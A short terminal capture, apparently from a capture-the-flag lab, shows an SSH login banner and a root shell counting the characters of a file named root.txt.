Last login: Mon Aug 23 08:18:28 2021 from 10.10.14.73
root@developer:~# wc -c root.txt
33 root.txt